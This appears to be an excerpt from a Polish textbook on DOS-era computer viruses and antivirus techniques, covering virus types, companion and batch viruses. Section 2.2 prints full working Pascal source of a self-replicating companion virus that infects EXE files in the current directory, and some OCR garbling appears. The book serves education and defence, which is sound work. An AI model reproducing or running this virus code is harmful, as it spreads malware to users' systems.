Tytuł: "Wirusy" Autor: Adam Błaszczyk SPIS ROZDZIAŁÓW Wstęp ............................................ XV Rozdział 1. Podstawowe wiadomości o wirusach ..............................1 Rozdział 2. Rodzaje wirusów ..............................................................5 Rozdział 3. Podział wirusów ze względu na sposób działania po uruchomieniu ..................................................................17 Rozdział 4. Obiekty atakowane przez wirusy ....................................33 Rozdział 5. Instalacja w pamięci operacyjnej ....................................97 Rozdział 6. Przejmowanie przerwań i znajdowanie czystych wejść do systemu ........................................................................109 Rozdział 7. Ukrywanie się w systemie operacyjnym .......................143 Rozdział 8. Szyfrowanie kodu ..........................................................173 Rozdział 9. Inne mechanizmy stosowane przez wirusy ...................213 Rozdział 10. Przyszłość wirusów .......................................................235 Rozdział 11. Rodzaje programów antywirusowych ............................241 Rozdział 12. Techniki używane przez programy antywirusowe .........247 Rozdział 13. Konwencje stosowane przez programy antywirusowe -standard CARO ............................................................299 Rozdział 14. Profilaktyka antywirusowa ............................................311 Rozdział 15. Literatura .......................................................................319 SPIS TREŚCI Wstęp XV Rozdział 1. Podstawowe wiadomości o wirusach .......... 1 1.1. Co to jest i jak działa wirus komputerowy ............................... 3 1.2. Języki programowania wykorzystane do pisania wirusów ...... 4 Rozdział 2. Rodzaje wirusów .......................................... 5 2.1. Wirusy pasożytnicze (ang. parasite infectors) ....................... 7 2.2. Wirusy towarzyszące (ang. companion infectors) ................. 8 2.3. Wirusy plików wsadowych (ang. batchviruses)....................... 12 2.4. Makrowirusy, wirusy makrosów (ang. macroviruses) .............. 13 2.5. Generatory wirusów ................................................................ 14 2.6. Robaki (ang. worms) .............................................................. 14 2.7. Konie trojańskie (ang. trojan horses) ...................................... 14 2.8. Bomby logiczne (ang. logical bombs)...................................... 15 Rozdział 3. Podział wirusów ze względu na sposób działania po uruchomieniu ............................................................ 17 3.1. Wirusy nierezydentne (ang. non-resident yiruses) ............... 19 3.2. Wirusy rezydentme (ang. resident viruses) .......................... 21 3.2.1. Szybkie infektory (ang. fast infectors) .................................. 31 3.2.2. Wolne infektory (ang. slow infectors) ................................... 32 Rozdział 4. Obiekty atakowane przez wirusy .................. 33 4.1. Pliki...................................................................................35 4.1.1. Pliki wykonywalne COM ............................. 35 4.1.2. Pliki wykonywalne EXE ............................... 45 4.1.2.1. Pliki EXE dla systemu DOS (stare EXE) ..................... 45 4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE) .................. 57 4.1.2.2.1. Pliki EXE dla Windows (NE) ............................. 59 4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV) .... 66 4.1.4. Pliki systemowe DOS ............................... 75 4.1.4.1. Interpretator poleceń .................................... 75 4.1.4.2. Jądro systemu (ang, kemel infector) ........................ 75 4.1.5. Pliki wsadowe BAT ................................. 76 4.1.6. Pliki DOC ......................................... 77 4.1.7. Pliki XLS.......................................... 79 4.1.8. Pliki ASM ......................................... 80 4.2. Sektory systemowe .................................. 86 4.2.1. Główny Rekord Ładujący (ang. Master Boot Record - MBR) 86 4.3. Rekord ładujący (ang. BOOt-sector)..................... 92 4.4. Jednostki Alokacji Plików (JAP) (ang. dusters) ............ 94 4.5. Wirusy kombinowane (ang. multipartition) ................ 96 Rozdział 5. Instalacja w pamięci operacyjnej ............. 97 5.1. Instalacja w tablicy wektorów przerwań .................. 99 5.2. Instalacja w obszarze zmiennych DOS .................. 100 5.3. Instalacja w pamięci poniżej 640kB i UMB ............... 100 5.4. Instalacja w pamięci HMA ............................. 106 5.5. Nietypowe metody instalacji ........................... 107 5.5.1. Pamięć ekranu .................................... 107 5.5.2. Bufory dyskowe DOS ............................... 108 Rozdział 6. Przejmowanie przerwań i znajdowanie czystych wejść do systemu ................................... 109 6.1. Najczęściej przejmowane i wykorzystywane przerwania ..... 111 6.2. Wykorzystanie funkcji DOS ............................ 117 6.3. Bezpośrednie zmiany w tablicy wektorów przerwań ,.,,,., 118 6.4. Włączanie się do istniejącego łańcucha obsługi przerwania i znajdowanie czystych wejść do systemu (ang. tunnelling) .... 119 6.4.1. Korzystanie ze stałych adresów w systemie (przerwania 21hl2Fh) ............................................ 120 6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)... 122 6.4.3. Tuneling rekursywny (ang, recursive tunnelling)........... 122 6.4.4. Trik 2F/13 ........................................ 124 6.5. Wykorzystanie trybu chronionego ....................... 141 6.6. Włączanie się jako program obsługi urządzenia ........... 142 Rozdział 7. Ukrywanie się w systemie operacyjnym ........ 143 7.1. Technika stealth ..................................... 145 7.1.1. Podawanie prawdziwych długości plików (ang, semi-stealth) 146 7.1.1.1. Polecenie DIR wywoływane z poziomu DOS ................. 146 7.1.1.2. Programy nakładkowe używające krótkich nazw programów (DOS, Windows 3.1)...................................... 149 7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows95) oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS . 150 7.1.2. Podawanie oryginalnych długości i zawartości plików (ang.full stealth)....................................... 152 7.1.3. Podawanie prawdziwej zawartości sektorów (ang. Sectorlevel stealth) .............................................. 169 7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych (ang. hardware level stealth) ............... 169 7.2. Modyfikacja CMOS-a ................................. 170 7.3. Atrybut etykiet dysku (ang. VolumeID) .................. 171 7.4. Dodatkowe ścieżki na dyskach ......................... 171 Rozdział 8. Szyfrowanie kodu ......................... 173 8.1. Procedury szyfrujące kod ............................. 177 8.2. Procedury dekodujące ................................ 178 8.2.1. Polimorficzne procedury dekodujące ................... 179 8.2.1.1. Semi-polimorfizm ........................................ 179 8.2.1.2. Pełny polimorfizm ........................................ 193 Rozdział 9. Inne mechanizmy stosowane przez wirusy ..... 213 9.1. Sposoby dostępu do dysków .......................... 215 9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyj- ne i antyheurystyczne .................................... 227 9.3. Optymalizacje kodu .................................. 231 9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi monitorami antywirusowymi .................... 232 Rozdział 10. Przyszłość wirusów ......................... 235 10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform viruses) ............................................. 237 10.2. Wirusy infekujące wewnątrzplikowo (ang, surface infectors) 238 10.3. Wirusy zmienne genetycznie (mutujące swój kod) ........ 238 10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty 239 Rozdział 11. Rodzaje programów antywirusowych ......... 241 11.1. Skanery (ang. scaners) ............................. 243 11.2. Monitory (ang. behaviour blockers, interceptors, resident monitors) ............................................ 243 11.3. Szczepionki (ang. disinfectors) ....................... 244 11.4. Programy autoweryfikujące .......................... 244 11.5. Programy zliczające sumy kontrolne (ang. integniy checkers). 245 Rozdział 12. Techniki używane przez programy antywirusowe ....................................... 247 12.1. Skaning .......................................... 249 12.2. Heurystycze wyszukiwanie wirusów .................... 272 12.3. Tryb krokowy ...................................... 284 12.4. Emulacja procesora ................................. 284 12.5. Przynęty (ang. baits, decoys) ......................... 285 12.6. Odświeżanie programów systemowych w sektorach ....... 285 12.7. Blokowanie programów używających trybu krokowego ..... 286 12.8. Pobieranie wielkości pamięci operacyjnej ............... 291 Rozdział 13. Konwencje stosowane przez programy antywiru- sowe - standard CARO .............................. 299 Rozdział 14. Profilaktyka antywirusowa .................. 311 14.1. Ochrona przed wirusami plików uruchamialnych ......... 313 14.2. Ochrona przed bombami logicznymi i końmi trojańskimi ... 315 14.3. Ochrona przed makrowirusami ........................ 316 Rozdział 15. Literatura ............................... 319 Wstęp Tematem niiejszego opracowania są wirusy komputerowe jeden z najbardziej tajemniczych i kontrowersyjnych tworów istniejących w świecie komputerów. Od początku swego istnienia wirusy komputerowe były owiane mgłą tajemnicy zaś ich twórców uznawano za ludzi wiedzących znacznie więcej niż zwykli śmiertelnicy. Tymczasem wirus to zwykły program komputerowy który choć może bardziej wyrafinowany od innych jest na pewno o wiele łatwiejszy do napisania niż jakakolwiek aplikacja użytkowa czy gra. Większość spotykanych wirusów to prymitywne przeróbki, bazujące na istniejących od dawna, klasycznych już i uznawanych za wzorcowe wirusach, takich Jak Jerusalem, Vienna, Stoned, Vacsina czy wirusy Dark Avengera. Przeróbki ograniczają się najczęściej do zmiany tekstu wewnątrz wirusa lub ewentualnie sekwencji kodu, czego wynikiem jest kolejna z licznych mutacji znanego wirusa. Oprócz nich istnieje bardzo mała grupa wirusów, których pojawienie się na komputerowej scenie wiązało się z zastosowaniem przez ich autorów nowych, nieznanych jeszcze nikomu sztuczek. Do tych ostatnich zaliczają się niewątpliwie wirusy wspomnianego już wyżej Dark Avengera, najsłynniejszego chyba twórcy wirusów komputerowych. On to właśnie jako pierwszy zastosował metodę zmiennych procedur szyfrujących w swym polimorficznym enginie MtE, a także jako jeden z pierwszych potrafił omijać zainstalowane monitory antywirusowe, czy odnajdywać oryginalne wejścia do znajdujących się w BIOS-ie procedur obsługi przerwania 13h. Pojawienie się nowego wirusa infekującego nie zajętą jeszcze do tej pory platformę sprzętową lub programową budzi zwykle nie lada sensację, zwłaszcza gdy w sprawę wmieszają się media, żerujące na tego typu historiach. Pomimo że najczęściej trywialny, wirus taki otwiera bowiem kolejną furtkę dla całej rzeszy późniejszych racjonalizatorów oraz wywołuje istną lawinę komentarzy na temat bezpieczeństwa systemów komputerowych. tak widać, twórcy wirusów tworzą środowisko rządzące się swoimi własnymi prawami. Cały czas trwa wyścig nad wymyśleniem jeszcze lepszych lub całkowicie nowych, nieznanych wirusów. Ciekawa przykład twórczego podejścia do programowania wirusów zademonstrował autor ukrywający się pod pseudonimem Stormbringer w wirusie JUMP. Nazwa wirusa nie jest przypadkowa, gdyż, po de-asemblacji listing tego wirusa składa się tylko i wyłącznie z samych rozkazów skoków (właściwy kod został sprytnie ukryty wewnątrz wirusa). Prymat w programowaniu wirusów wiodą niezaprzeczalnie mieszkańcy państw byłego bloku wschodniego, głównie Bułgarzy, Rosjanie i Słowacy. Dzieje się tak głównie z powodu braku, w tych krajach unormowań prawnych dotyczących przestępstw komputerowych, które istnieją już w wielu państwach zachodnich. W dobie globalnej ekspansji sieci Internet w zasadzie każda osoba chcąca dowiedzieć się czegoś o wirusach może dostać się do bogatych, istniejących na całym świecie archiwów, poświęconych w całości programowaniu wirusów. Oferują one wirusy w wersji źródłowej, generatory wirusów, kolekcje złapanych egzemplarzy wirusów, a także tzw. ziny, czyli prowadzone przez wyspecjalizowane grupy magazyny (w postaci plików tekstowych lub stron HTML), poświęcone programowaniu wirusów (np.: 40HEX, VLAD, NukE InfoJournal, VBB, Immortal Riot). Za sprawą Intemetu w skład grup prowadzących te magazyny wchodzą ludzie ze wszystkich stron świata, którzy, co ciekawe, najczęściej deklarują się jako zagorzali przeciwnicy wirusów destrukcyjnych, a samo programowanie wirusów traktują jako swoistą sztukę. Po części mają rację, gdyż pisanie wirusów jest nie tylko świetną okazją do dogłębnego poznania systemu operacyjnego, ale i sprawdzenia własnych umiejętności programistycznych. Liczba wirusów złapanych na świecie rośnie z roku na rok i nic me wykazuje na to, aby tendencja ta miała ulec gwałtownej zmianie. W kolekcji wirusów należącej do jednej z czołowych firm amerykańskich produkującej programy antywirusowe znajduje się obecnie ponad 20000 próbek wirusów, z czego ok. 6000 to wirusy całkowicie różne. Należy pamiętać, iż istnienie wirusów komputerowych jest ściśle związane z niedoskonałością zarażanych przez nie systemów operacyjnych. Twórcy wirusów skrzętnie wykorzystują do swych celów wszelkie możliwe luki w systemie: nieudokumentowane funkcje, systemowe struktury danych, a nawet odnalezione własnoręcznie błędy w kodzie systemu. To właśnie wirusy - paradoksalnie - pośrednio wpływają na wzrost bezpieczeństwa systemów komputerowych, gdyż kolejne wersje różnych środowisk zwykle starają się załatać istniejące luki w systemie. Osobne miejsce w dyskusjach na temat wirusów zajmują programy antywirusowe (w literaturze często określane skrótem AV). O ile pisanie wirusów jest raczej indywidualnym procesem twórczym, o tyle pisanie skutecznych programów antywirusowych stało się domeną całych grup programistycznych, których członkowie muszą posiadać o wiele większą wiedzę na temat wirusów niż typowy twórca wirusów. Usuwanie wirusów jest procesem naprawczym, a to wiąże się z odpowiedzialnością, którą muszą wziąć na siebie twórcy programów AV. Autorzy wirusów nie muszą przejmować się ewentualnymi szkodami powstałymi na skutek ich błędu lub nawet zwykłej niewiedzy. W przypadku programów AV nie można pozwolić sobie nawet na najmniejsze potknięcie. O ile dodawanie do skanera kolejnych sygnatur typowych i trywialnych wirusów to zajęcie zajmujące niewiele czasu, o tyle dekodo-wanie i rozszyfrowywanie kodu najnowszych wirusów, używających kilkustopniowych zmiennych procedur szyfrujących, sztuczek anty-emulacyjnych, antydebuggerowych i antydeasemblerowych, zarażających dużą ilość obiektów i będących zwykle wolnymi infektorami, to zadanie zajmujące bardzo dużo czasu, a i tak często okazuje się, iż zastosowana metoda nic umożliwia odnalezienia wszystkich wariantów wirusa. Aby przyspieszyć wymianę informacji na temat wirusów, autorzy różnych programów antywirusowych z całego świata utworzyli coś w rodzaju organizacji, która zajmuje się zbieraniem danych o istniejących wirusach oraz o technikach ich wykrywania i usuwania. Poniższe rozdziały powinny przynajmniej częściowo wyjaśnić mechanizmy wykorzystywane przez nowoczesne wirusy i programy antywirusowe. Oprócz typowych i trywialnych sztuczek, stosowanych od dawna przez wyżej wymienione programy, omówionych zostało kilka bardziej zaawansowanych technik, m.in.:polimorfizm (wykorzystywanie zmiennych procedur szyfrujących); > stealth (zaawansowane ukrywanie się w systemie); > heurystyka (wykrywanie nowych, nieznanych wirusów na podstawie znajomości charakterystycznych ciągów instrukcji). Do zrozumienia całości materiału niezbędna jest podstawowa znajomość komputerów PC oraz systemów DOS i WINDOWS. Niezbędna jest także przynajmniej pobieżna znajomość asemblera procesorów 80x86 i jakiegoś języka wysokiego poziomu (np.: Pascal, C). Niezorientowanego czytelnika odsyłam do pozycji umieszczonych w spisie na końcu książki. Dla uproszczenia, w opracowaniu została zastosowana pewna konwencja, dotycząca używania w tekście funkcji systemu DOS i BIOS. Występujące w tekście skróty (XXXX/YY) oznaczają użycie funkcji XXXX przerwania programowego YY. Zapis (4B00/21) oznaczać więc będzie instrukcję uruchomienia programu przy użyciu funkcji 4B00h przerwania programowego 21h obsługiwanego przez DOS, a (4E/4F/21) oznaczać będzie wywołanie funkcji 4Eh lub 4Fh przerwania programowego 21h, w tym przypadku realizujących poszukiwania pierwszej (funkcja 4Eh) lub kolejnej (funkcja 4Fh) pozycji katalogu. Dokładny opis funkcji systemu DOS i BIOS można znaleźć w wielu różnych opracowaniach, z których najlepszym i najpełniejszym wydaje się stale rozwijana, dostępna w angielskojęzycznej wersji elektronicznej, lista przerwań Interrupt List Ralpha Browne'a. Na koniec warto jeszcze dodać kilka uwag o słownictwie używanym w opracowaniu. Większość terminów związanych z komputerami jest siłą rzeczy pochodzenia angielskiego. Próby tworzenia ich polskich odpowiedników mijają się najczęściej z celem, gdyż powstałe w ten sposób neologizmy nie odzwierciedlają w pełni sensu słów angielskich. Liczne przykłady z literatury komputerowej (i nie tylko) ostatnich kilku lat dowiodły, iż jedynym sensownym wyjściem z tej sytuacji jest integracja pewnych terminów obcojęzycznych z językiem polskim. Z tego też powodu w opracowaniu używane są (w niezbędnym minimum) terminy angielskie opatrzone odpowiednimi komentarzami w języku polskim. W sytuacji niemożności znalezienia adekwatnego polskiego odpowiednika dla słowa angielskiego używane będzie słowo obce (np. stealth). 1.1. Co to jest i jak działa wirus komputerowy Wirus komputerowy definiowany jest najczęściej jako krótki program mający zdolność samopowielania po jego uruchomieniu. Jest on zwykle przenoszony w zainfekowanych wcześniej plikach lub w pierwszych sektorach fizycznych logicznych dysków. Proces infekcji polega zazwyczaj na odpowiedniej modyfikacji struktury pliku albo sektora. Zainfekowaną ofiarę często nazywa się nosicielem (ang. host), a proces samopowielania - replikacją. Długość typowego wirusa waha się w granicach od kilkudziesięciu bajtów do kilku kilobajtów i w dużym stopniu zależy od umiejętności programistycznych jego twórcy, a także od języka programowania użytego do jego napisania. Od umiejętności i zamierzeń autora zależą także efekty, jakie wirus będzie wywoływał w zainfekowanym systemie (oczywiście, nie zawsze musi być to próba formatowania dysku twardego). Większość z istniejących wirusów zawiera tylko kod odpowiedzialny za replikację (ang. dropper), natomiast "specjalne efekty" to zwykle działania uboczne spowodowane przez błędy. Z powyższego wynika jednoznacznie, iż pomijając istniejącą zawsze możliwość sabotażu, zarażenie komputera wirusem nastąpić może tylko przy niejawnej współpracy użytkownika, który, bądź to uruchamiając zarażony program, bądź próbując wczytać system z zarażonej dyskietki, a nawet odczytując zainfekowany dokument, nieświadomie sam instaluje wirusa w używanym przez siebie komputerze. 1.2. Języki programowania wykorzystywane do pisania wirusów. Do zaprogramowania wirusa wystarczy znajomość dowolnego popularnego języka programowania, np. Pascala czy C, jednak największy procent wirusów pisany jest w czystym asemblerze. Spowodowane jest to głównie specyfiką kodu generowanego przez ten język, a zwłaszcza jego zwięzłością. Kod maszynowy programu, który z punktu widzenia użytkownika nie robi nic, w językach wysokiego poziomu zajmie od kilkuset bajtów do kilku, a nawet kilkuset kilobajtów. W asemblerze podobny program zajmie od jednego (instrukcja RET w pliku COM) do czterech bajtów (wywołanie funkcji 4Ch przerwania 21h). Spowodowane jest to tym, iż do każdego wygenerowanego przez siebie programu kompilatory języków wysokiego poziomu dodają standardowe prologi i epilogi, niewidoczne dla piszącego w danym języku programisty, które są odpowiedzialne m.in. za obsługę błędów, stosu, operacje we/wy itp. Można powiedzieć, iż długość programu wynikowego (rozumianego jako kod maszynowy) jest wprost proporcjonalna do poziomu języka programowania, w którym został on napisany. Na korzyść asemblera przemawia także fakt, iż z jego poziomu mamy bardzo dużą swobodę w dostępie do pamięci czy portów, a programista ma możliwość świadomego wpływu na kształt przyszłego programu, np. w zakresie używanych instrukcji czy rozwiązań programowych. Jak widać, programy napisane w asemblerze są optymalne pod względem szybkości działania i długości kodu, a więc język ten jest jakby stworzony do programowania wirusów. Jedyną wadą asemblera jest to, iż programów w nim napisanych nie można przenosić na komputery o innej architekturze, stąd mogą one egzystować tylko w jednej rodzinie komputerów. Oprócz typowych języków programowania do zaprojektowania wirusa można wykorzystać języki makr, wbudowane w nowoczesne edytory tekstów lub arkusze kalkulacyjne. Zawarte w nich mechanizmy pozwalają na infekcję każdego otwieranego przez program dokumentu lub arkusza. Ze względu na poziom abstrakcji na Jakim operują języki makr, są one wymarzonym narzędziem do tworzenia wirusów, zwłaszcza dla początkujących programistów. Nie muszą się oni bowiem przedzierać przez dokumentację systemu czy też formaty infekowanych plików. Wszystkie operacje na fizycznych obiektach są zaimplementowane w makrach i wykonują się bez konieczności ingerencji programisty. ROZDZIAŁ 2 2.1. Wirusy pasożytnicze (ang. parasite infectors) W zasadzie większość istniejących wirusów to wirusy pasożytnicze, które wykorzystują swoje ofiary do transportu, modyfikując ich strukturę wewnętrzną. Jedynym ratunkiem dla zainfekowanych obiektów jest użycie szczepionki lub w ostateczności kopii zapasowych, gdyż zzarażane pliki z reguły nie są przez wirusa leczone. Wyjątek stanowią nieliczne wirusy wykorzystujące pliki tylko do transportu między komputerami, mające za główny cel infekcję tablicy partycji lub BOOT sektora dysku twardego. Po zainfekowaniu któregoś z tych obiektów wirus zmienia działanie i leczy wszystkie używane pliki znajdujące się na twardym dysku, a infekuje jedynie pliki już znajdujące się na dyskietkach lub dopiero na nie kopiowane. Ze względu na miejsce zajmowane w zainfekowanych plikach wirusy pasożytnicze dzieli się na: > Wirusy nadpisujące (ang. overwrite infectors), lokujące się na początku pliku, często nie zapamiętujące poprzedniej zawartości pliku (co w efekcie nieodwracalnie niszczy plik); > Wirusy lokujące się na końcu pliku (ang. end of file infectors), najbardziej rozpowszechniona odmiana wirusów pasożytniczych, które modyfikują pewne ustalone struktury na początku pliku tak, aby wskazywały na wirusa, po czym dopisują się na jego końcu; > Wirusy nagłówkowe (ang. header infectors), lokujące się w nagłówku plików EXE przeznaczonych dla systemu DOS; wykorzystują one fakt, iż nagłówek plików EXE jest standardowo ustawiany przez programy linkujące na wielokrotność jednego sektora (512 bajtów). Zwykle wirusy te nie przekraczają rozmiaru jednego sektora i infekuje poprzez przejęcie funkcji BIOS służących do odczytu i zapisu sektorów (02,03/13); > Wirusy lokujące się w pliku w miejscu gdzie jest jakiś pusty, nie wykorzystany obszar (np. wypełniony ciągiem zer), który można nadpisać nie niszcząc pliku (ang. cave infectors), > Wirusy lokujące się w dowolnym miejscu pliku (ang. surface infectors), dość rzadkie, bardzo trudne do napisania; > Wirusy wykorzystujące część ostatniej Jednostki Alokacji Pliku JAP (ang. slack space infector), korzystające z faktu, iż plik rzadko zajmuje dokładnie wielokrotność jednej JAP. 2.2. Wirusy towarzyszące (ang. companion infectors) Wirusy tego typu są najczęściej pisane w językach wysokiego poziomu. Atakują one pliki, a ich działanie opiera się na hierarchii stosowanej przez DOS podczas uruchamiania programów. W momencie uruchomiania programu, w przypadku nie podania rozszerzenia uruchamianego pliku, najpierw poszukiwany jest plik o rozszerzeniu COM, potem EXE, a na końcu BAT. W przypadku wykorzystywania interpretatora poleceń 4DOS dochodzą Jeszcze pliki BTM, poszukiwane podczas uruchamiania programu przed plikami BAT. Na przykład, jeżeli w jednym katalogu istnieją 3 pliki: - PROG.BAT, - PROG.COM, - PROG.EXE, to kolejność ich uruchamiania byłaby następująca: - PROG.COM, - PROG.EXE, - PROG.BAT. Plik PROG.COM będzie się uruchamiać, ilekroć będziemy podawać nazwę PROG bez rozszerzenia lub z rozszerzeniem COM. Plik PROG.EXE można w tym wypadku uruchomić wyłącznie poprzez podanie jego pełnej nazwy, bądź też poprzez uprzednie usunięcie pliku PROG.COM z danego katalogu. Z kolei uruchomienie pilku BAT wymaga albo usunięcia z katalogu obu plików: PROG-COM i PROG.EXE, albo też podania w linii poleceń całej jego nazwy. Jak widać, wirus ma kilka możliwości, aby zainfekować uruchamiany program: - Istnieje plik COM: nie można zastosować infekcji; - Istnieje plik EXE: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM, zawierający wirusa; - Istnieje plik BAT: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM lub EXE, zawierający wirusa. Następna próba uruchomienia tak zarażonego programu spowoduje najpierw uruchomienie podszywającego się pod program wirusa, a dopiero ten, po zakończeniu pracy, przekaże sterowanie do programu macierzystego, najczęściej poprzez wywołanie programu interpretatora poleceń z parametrem: /C NazwaPlikuOfiary. Ciekawym rozszerzeniem techniki opisanej powyżej jest sposób infekcji stosowany przez wirusy towarzyszące, wykorzystujące zmienną środowiskową PATH (ang. path companion infectors). Zmienna PATH określa listę katalogów przeszukiwanych przez system DOS podczas uruchamiania programu. Wirus wykorzystujący tę technikę tworzy plik, zawierający kod wirusa w innym katalogu, znajdującym się w zmiennej środowiskowej PATH przed katalogiem, w którym znajduje się zarażana ofiara. W tym wypadku infekcję można zastosować dla dowolnego z plików COM, EXE, BAT, gdyż kolejność uruchamiania zależna jest przede wszystkim od zawartości zmiennej PATH. Na przykład, jeżeli zmienna środowiskowa PATH określona jest jako: PATH = C:\;C:\DOS;C:\WINDOWS, a w katalogu C:\DOS umieścimy plik WIN.BAT, to podczas kolejnego wywoływania systemu WINDOWS (poprzez uruchomienie programu C:\WINDOWS\WIN.COM bez podawania ścieżki, czyli najczęściej WIN [ENTER]) z katalogu innego niż C:\WINDOWS system uruchomi najpierw plik C:\DOS\WIN.BAT, a ten dopiero uruchomi właściwy program C:\WINDOWS\WIN.COM. Poniżej przedstawiono przykład prostego wirusa towarzyszącego. Jest on napisany w języku Pascal i infekuje parę plików COM, EXE. (*;------------------------------------------------------------------------;*) (*; ;*) (*; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;*) (*; ;*) (*; KOMPAN v1.0, Autor : Adam Blaszczyk 1997 ;*) (*; ;*) (*; Prosty wirus typu towarzyszacego ;*) (*; Infekuje pliki EXE w biezacym katalogu ;*) (*; Do istniejacego pliku EXE dopisuje plik o rozszerzeniu COM ;*) (*; ;*) (*;------------------------------------------------------------------------;*) {$A-,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y-} {$M 8192,0,16384} uses Dos, Crt; const MaskaEXE = '*.EXE'; var Szuk : SearchRec; NazwaNosiciela, NazwaOfiary : String; PlikNosiciela, PlikOfiary : File; DlugoscNosiciela : LongInt; Bufor : Pointer; I : Byte; Status : Boolean; begin WriteLn; WriteLn (' KOMPAN v1.0, Autor : Adam Blaszczyk 1997'); WriteLn; NazwaNosiciela := ParamStr (0); WriteLn (' Czy chcesz uruchomic wirusa (T/N) ?'); if UpCase(ReadKey)='T' then begin WriteLn; Status :=False; FindFirst (MaskaEXE, AnyFile, Szuk); while (DosError = 0) and (IOResult = 0) and (not Status) do begin with Szuk do if not ((Name='.') or (Name='..') or (not (Attr and Directory and VolumeID<>0))) then begin NazwaOfiary:=Name; Delete (NazwaOfiary, Pos ('EXE',NazwaOfiary),3); NazwaOfiary:=NazwaOfiary+'COM'; Assign (PlikOfiary, NazwaOfiary); Reset (PlikOfiary,1); if IOResult <> 0 then begin Status:=True; WriteLn (' Tworze KOMPANA : ',NazwaOfiary); Assign (PlikNosiciela, NazwaNosiciela); Reset (PlikNosiciela, 1); DlugoscNosiciela := FileSize (PlikNosiciela); GetMem (Bufor,DlugoscNosiciela); BlockRead (PlikNosiciela, Bufor^, DlugoscNosiciela); ReWrite (PlikOfiary,1); BlockWrite (PlikOfiary , Bufor^, DlugoscNosiciela); Close (PlikNosiciela); Close (PlikOfiary); FreeMem (Bufor, DlugoscNosiciela); end; end; FindNext (Szuk); end; If Not Status then WriteLn (' Nie znalazlem zadnego kandydata do infekcji !'); end; Delete (NazwaNosiciela,Pos ('.COM',NazwaNosiciela),4); NazwaNosiciela := '/C '+NazwaNosiciela+'.EXE'; for I:=1 to ParamCount do NazwaNosiciela := NazwaNosiciela +' '+ParamStr(I); SwapVectors; Exec(GetEnv('COMSPEC'), NazwaNosiciela); SwapVectors; end. 2.3. Wirusy plików wsadowych (ang. batchviruses) Wirusy plików wsadowych wykorzystujące do transportu pliki BAT, istnieją od dość dawna, pomimo raczej ubogiego zestawu środków, jakimi dysponuje ich potencjalny twórca. Może wydawać się to niedorzeczne, lecz często potrafią infekować nie tylko pliki BAT, ale także pliki COM, EXE czy sektor tablicy partycji (wymaga to odpowiedniego, wcale nie tak trudnego, zaprogramowania). Po uruchomieniu zainfekowanego pliku wsadowego tworzony jest plik uruchamiamy COM lub EXE (za pomocą polecenia ECHO, którego parametry są przekierowywane do pliku), zawierający właściwy kod infekujący pliki BAT. Po utworzeniu jest on wykonywany, a następnie kasowany. Ze względu na to, iż procesor nie rozróżnia kodu i danych, można, poprzez sprytną manipulację, utworzyć plik, który będzie mógł się wykonać zarówno Jako typowy plik BAT, jak i plik COM. Na przykład typowe polecenia plików wsadowych, wykonywane przez procesor jako część kodu programu COM, będą rozumiane jako: polecenie pliku BAT instrukcje widziane przez procesor REM 52h PUSH DX ; db 'R' 45h INC BP ; db 'E' 4Dh DEC BP ; db 'M' ECHO 45h INC BP : db 'E' 43h INC BX : db 'C' 48h DEC AX ; db 'H' 4Fh DEC Dl ; db 'O' @ 40h INC AX ; db '@' 7t0 (deklaracja etykiety - interpretator nie wykonuje) 3Ah 37h CMP DH.[BX]; db ':7' 74h 30h JZ $+30h ; 't0' Po uruchomieniu zainfekowanego w ten sposób pliku BAT wirus kopiuje się do pliku tymczasowego o rozszerzeniu COM i wykonuje się, tym razem jako kod maszynowy. Poniżej zamieszczono przykład prostego pliku (na dyskietce, w katalogu COMBAT), który wykonuje się niezależnie od tego, czy jest wywoływany z rozszerzeniem BAT czy COM. Po uruchomieniu wyświetla on napis informujący o rozszerzeniu, z jakim został wywołany. :7-: @ECHO OFF @ECHO Dzialam jako plik BAT ! @GOTO KONIEC ¬II-I@ŽM_-!ŽL-!Dzialam jako plik COM !$ :KONIEC 2.4. Makrowirusy, wirusy makrosów (ang. macroviruses) Tego typu wirusy to jeden z najnowszych pomysłów. Makrowirusy nie zarażają programów uruchamiałnych, lecz pliki zawierające definicje makr. Najpopularniejsze obiekty infekcji to pliki DOC (dokumenty: Microsoft Word), XLS (arkusze kalkulacyjne: Microsoft Excel), SAM (dokumenty: AmiPro). Do mnożenia się makrowirusy wykorzystują funkcje zawarte w językach makr, wbudowanych w powyższe aplikacje, np. WordBasic w Microsoft Word lub Visual Basie for Applications w programie Microsoft Excel. 2.5. Generatory wirusów Na przestrzeni ostatnich kilku lat pojawiło się wiele programów umożliwiających stworzenie własnego wirusa, nawet bez znajomości systemu, czy mechanizmów wykorzystywanych przez wirusy. Narzędzia tego typu są dostępne w sieci Internet. Korzystając z gotowych modułów w asemblerze można utworzyć wirusa o zadanych parametrach, wybieranych najczęściej przy pomocy przyjaznego użytkownikowi menu lub specjalnego pliku definicyjnego. Można więc określić zakres obiektów infekowanych przez tworzonego wirusa, rodzaj efektów specjalnych, sposób ewentualnej destrukcji, a także warunki zadziałania efektów specjalnych. Oprócz kodu wynikowego wirusa (gotowego do uruchomienia) generatory tworzą także pełne, najczęściej dobrze opisane źródła w asemblerze, co umożliwia przeciętnemu, ale zainteresowanemu pisaniem wirusów użytkownikowi, dokształcenie się w tej dziedzinie. Najbardziej znane generatory wirusów to: IVP (Instant Virus Production Kit), VCL (Virus Construction Laboratory), PS-MPC (Phalcon-Skism-Mass Produced Code Generator), G2 (G Squared) i NRLG (NukE Randomic Life Generator). 2.6. Robaki (ang. worms) Robak to program, którego działanie sprowadza się do tworzenia własnych duplikatów, tak że nie atakuje on żadnych obiektów, jak to czynią wirusy. Oprócz zajmowania miejsca na dysku program ten rzadko wywołuje skutki uboczne. Podobnie jak wirusy towarzyszące, robaki najczęściej pisane są w językach wysokiego poziomu. Robaki są najbardziej popularne w sieciach, 